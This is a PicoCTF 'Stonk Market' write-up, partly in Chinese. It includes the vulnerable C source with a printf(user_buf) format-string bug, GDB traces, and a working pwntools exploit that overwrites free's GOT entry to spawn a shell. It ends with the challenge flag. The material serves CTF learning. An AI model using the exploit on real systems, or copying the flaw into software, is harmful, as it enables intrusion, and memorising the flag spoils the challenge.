PicoCTF - Stonk Market

PicoCTF - Stonk Market

Background

FMT

Source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

#define FLAG_BUFFER 128
#define MAX_SYM_LEN 4

typedef struct Stonks {
	int shares;
	char symbol[MAX_SYM_LEN + 1];
	struct Stonks *next;
} Stonk;

typedef struct Portfolios {
	int money;
	Stonk *head;
} Portfolio;

int view_portfolio(Portfolio *p) {
	if (!p) {
		return 1;
	}
	printf("\nPortfolio as of ");
	fflush(stdout);
	system("date"); // TODO: implement this in C
	fflush(stdout);

	printf("\n\n");
	Stonk *head = p->head;
	if (!head) {
		printf("You don't own any stonks!\n");
	}
	while (head) {
		printf("%d shares of %s\n", head->shares, head->symbol);
		head = head->next;
	}
	return 0;
}

Stonk *pick_symbol_with_AI(int shares) {
	if (shares < 1) {
		return NULL;
	}
	Stonk *stonk = malloc(sizeof(Stonk));
	stonk->shares = shares;

	int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
	for (int i = 0; i <= MAX_SYM_LEN; i++) {
		if (i < AI_symbol_len) {
			stonk->symbol[i] = 'A' + (rand() % 26);
		} else {
			stonk->symbol[i] = '\0';
		}
	}

	stonk->next = NULL;

	return stonk;
}

int buy_stonks(Portfolio *p) {
	if (!p) {
		return 1;
	}
	/*
	char api_buf[FLAG_BUFFER];
	FILE *f = fopen("api","r");
	if (!f) {
		printf("Flag file not found\n");
		exit(1);
	}
	fgets(api_buf, FLAG_BUFFER, f);
	*/
	int money = p->money;
	int shares = 0;
	Stonk *temp = NULL;
	printf("Using patented AI algorithms to buy stonks\n");
	while (money > 0) {
		shares = (rand() % money) + 1;
		temp = pick_symbol_with_AI(shares);
		temp->next = p->head;
		p->head = temp;
		money -= shares;
	}
	printf("Stonks chosen\n");

	char *user_buf = malloc(300 + 1);
	printf("What is your API token?\n");
	scanf("%300s", user_buf);
	printf("Buying stonks with token:\n");
	printf(user_buf);

	// TODO: Actually use key to interact with API

	view_portfolio(p);

	return 0;
}

Portfolio *initialize_portfolio() {
	Portfolio *p = malloc(sizeof(Portfolio));
	p->money = (rand() % 2018) + 1;
	p->head = NULL;
	return p;
}

void free_portfolio(Portfolio *p) {
	Stonk *current = p->head;
	Stonk *next = NULL;
	while (current) {
		next = current->next;
		free(current);
		current = next;
	}
	free(p);
}

int main(int argc, char *argv[])
{
	setbuf(stdout, NULL);
	srand(time(NULL));
	Portfolio *p = initialize_portfolio();
	if (!p) {
		printf("Memory failure\n");
		exit(1);
	}

	int resp = 0;

	printf("Welcome back to the trading app!\n\n");
	printf("What would you like to do?\n");
	printf("1) Buy some stonks!\n");
	printf("2) View my portfolio\n");
	scanf("%d", &resp);

	if (resp == 1) {
		buy_stonks(p);
	} else if (resp == 2) {
		view_portfolio(p);
	}

	free_portfolio(p);
	printf("Goodbye!\n");

	exit(0);
}

Recon

這一題是參考了1,可以看到source code中的buy_stonks function出現format string bug,我一開始看了很久,以為這一題是和heap有關的問題

1的做法是: 先把free的got address(0x602018)利用fmt寫到某一個位置,然後再改變got指向的位置(0x4006c6),變成指向system的位置(0x4006f0),再把sh\x00的string寫到某一個chunk中,之後當call到free並且要free掉我們指定的那個chunk時,他就會執行system(sh\x00),成功執行shell

Analysis

當程式執行到<printf_positional+7716> mov BYTE PTR [rax], bl(如下)時,可以看一下rax數值在register中應對不同payload時的變化,我把完整的trace stack放在這一段的最下面,有興趣trace的人可以參考一下

1
2
3
4
5
6
7
8
9
   0x7ffff7e40bb4 <printf_positional+7700> test   r12d, r12d
   0x7ffff7e40bb7 <printf_positional+7703> je     0x7ffff7e40f1e <printf_positional+8574>
   0x7ffff7e40bbd <printf_positional+7709> movzx  ebx, BYTE PTR [rbp-0x8a4]
 → 0x7ffff7e40bc4 <printf_positional+7716> mov    BYTE PTR [rax], bl
   0x7ffff7e40bc6 <printf_positional+7718> jmp    0x7ffff7e3fa29 <printf_positional+3209>
   0x7ffff7e40bcb <printf_positional+7723> mov    r10d, DWORD PTR [rbx+rax*1]
   0x7ffff7e40bcf <printf_positional+7727> test   r12d, r12d
   0x7ffff7e40bd2 <printf_positional+7730> je     0x7ffff7e40f34 <printf_positional+8596>
   0x7ffff7e40bd8 <printf_positional+7736> movsx  r10, r10b
  • Incorrect Payload: %6299672c%12$n%216c%20$hhn%10504067c%10$n遇到的問題
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
      $rdi   : 0x0
      $rax   : 0x0
      $r8    : 0xffffffff
      $rbx   : 0xf0
      $rcx   : 0x00007ffff7f78f40  →  0x0000000000000000
      $r13   : 0x0
      $r10   : 0x00007fffffffa580  →  0x00000000f7fb8723
      $r12   : 0x1
      $r14   : 0x00007fffffffa248  →  0x00000000ffffffff
      $r9    : 0x0
      $rbp   : 0x00007fffffffa9d0  →  0x00007fffffffaf90  →  0x00007fffffffd670
      $rip   : 0x00007ffff7e40bc4  →  <printf_positional+7716> mov BYTE PTR [rax], bl
      $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
      $rdx   : 0x00007ffff7e3f42a  →  <printf_positional+1674> endbr64
      $r15   : 0x00007fffffffafc0  →  0x00000000fbad8004
      $rsi   : 0x00007fffffffa580  →  0x00000000f7fb8723
      $r11   : 0x6e
      $rsp   : 0x00007fffffffa060  →  0x0000000000000000
      $gs: 0x00 $fs: 0x00 $es: 0x00 $cs: 0x33 $ss: 0x2b $ds: 0x00
    
  • Correct Payload: %c%c%c%c%c%c%c%c%c%c%6299662c%n%216c%20$hhn%10504067c%10$n
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
      $rdi   : 0x0
      $rax   : 0x0000000000602018  →  0x00000000004006c6  →  0xffe0e90000000068 ("h"?)
      $r8    : 0xffffffff
      $rbx   : 0xf0
      $rcx   : 0x00007ffff7f78f40  →  0x0000000000000000
      $r13   : 0x0
      $r10   : 0x00007fffffffa580  →  0x00000000f7fb8723
      $r12   : 0x1
      $r14   : 0x0000000000603cf8  →  0x00000000ffffffff
      $r9    : 0x0
      $rbp   : 0x00007fffffffa9d0  →  0x00007fffffffaf90  →  0x00007fffffffd670
      $rip   : 0x00007ffff7e40bc4  →  <printf_positional+7716> mov BYTE PTR [rax], bl
      $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
      $rdx   : 0x00007ffff7e3f42a  →  <printf_positional+1674> endbr64
      $r15   : 0x00007fffffffafc0  →  0x00000000fbad8004
      $rsi   : 0x00007fffffffa580  →  0x00000000f7fb8723
      $r11   : 0x6e
      $rsp   : 0x00007fffffffa060  →  0x0000000000000000
      $gs: 0x00 $fs: 0x00 $es: 0x00 $cs: 0x33 $ss: 0x2b $ds: 0x00
    

    可以看到0x7ffff7e40bc4 mov BYTE PTR [rax], bl準備把0xf0的值放到rax指向的位置,但是如果是第一種payload,rax的value是0,而第二種payload所存放的value才是0x602018,所以這應該就是@ccccctw所提到的問題,一開始把0x602018寫入0x00007fffffffd7d0之前都還是零,所以第二種payload因為某種關係,他可以先把0x602018寫入0x00007fffffffd7d00x602018指向的0x4006c6最後一個byte改掉,而不是像第一種payload一樣,是同時執行所有的動作,導致系統還沒有把0x602018寫入0x00007fffffffd7d0,想當然0x00007fffffffd7d0的value也是零

    1
    2
    3
    4
    ...
    0x00007fffffffd790│+0x0030: 0x00007fffffffd7d0  →  0x0000000000000000    ← $rbp
    ...
    0x00007fffffffd7d0│+0x0070: 0x0000000000000000
    

1
2
3
4
5
6
7
8
gef➤  bt 10
#0  0x00007ffff7e40bc4 in printf_positional (s=s@entry=0x7fffffffafc0, format=format@entry=0x603730 "%6299672c%12$n%216c%20$hhn%10504067c%10$n", readonly_format=readonly_format@entry=0x0, ap=ap@entry=0x7fffffffd680, ap_savep=ap_savep@entry=0x7fffffffab48, done=<optimized out>, nspecs_done=<optimized out>, lead_str_end=<optimized out>, work_buffer=<optimized out>, save_errno=<optimized out>, grouping=<optimized out>, thousands_sep=<optimized out>, mode_flags=<optimized out>) at vfprintf-internal.c:2072
#1  0x00007ffff7e41dcd in __vfprintf_internal (s=s@entry=0x7fffffffafc0, format=0x603730 "%6299672c%12$n%216c%20$hhn%10504067c%10$n", ap=0x7fffffffd680, mode_flags=<optimized out>) at vfprintf-internal.c:1733
#2  0x00007ffff7e44ea2 in buffered_vfprintf (s=s@entry=0x7ffff7fb86a0 <_IO_2_1_stdout_>, format=format@entry=0x603730 "%6299672c%12$n%216c%20$hhn%10504067c%10$n", args=args@entry=0x7fffffffd680, mode_flags=mode_flags@entry=0x0) at vfprintf-internal.c:2377
#3  0x00007ffff7e41d24 in __vfprintf_internal (s=0x7ffff7fb86a0 <_IO_2_1_stdout_>, format=0x603730 "%6299672c%12$n%216c%20$hhn%10504067c%10$n", ap=ap@entry=0x7fffffffd680, mode_flags=mode_flags@entry=0x0) at vfprintf-internal.c:1346
#4  0x00007ffff7e2cd3f in __printf (format=<optimized out>) at printf.c:33
#5  0x0000000000400ace in buy_stonks ()
#6  0x0000000000400c66 in main ()

Exploit - FMT

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

if args.LOCAL:
    r = process('./vuln')
else:
    r = remote('mercury.picoctf.net', 5654)

payload = '%c'*10 + '%6299662c' + '%n' + '%216c' + '%20$hhn' + '%10504067c' + '%10$n'

r.sendline(b'1')
raw_input()
r.sendlineafter(b"token?", payload.encode())
r.interactive()

Flag: picoCTF{explo1t_m1t1gashuns_641dcdf1}

Reference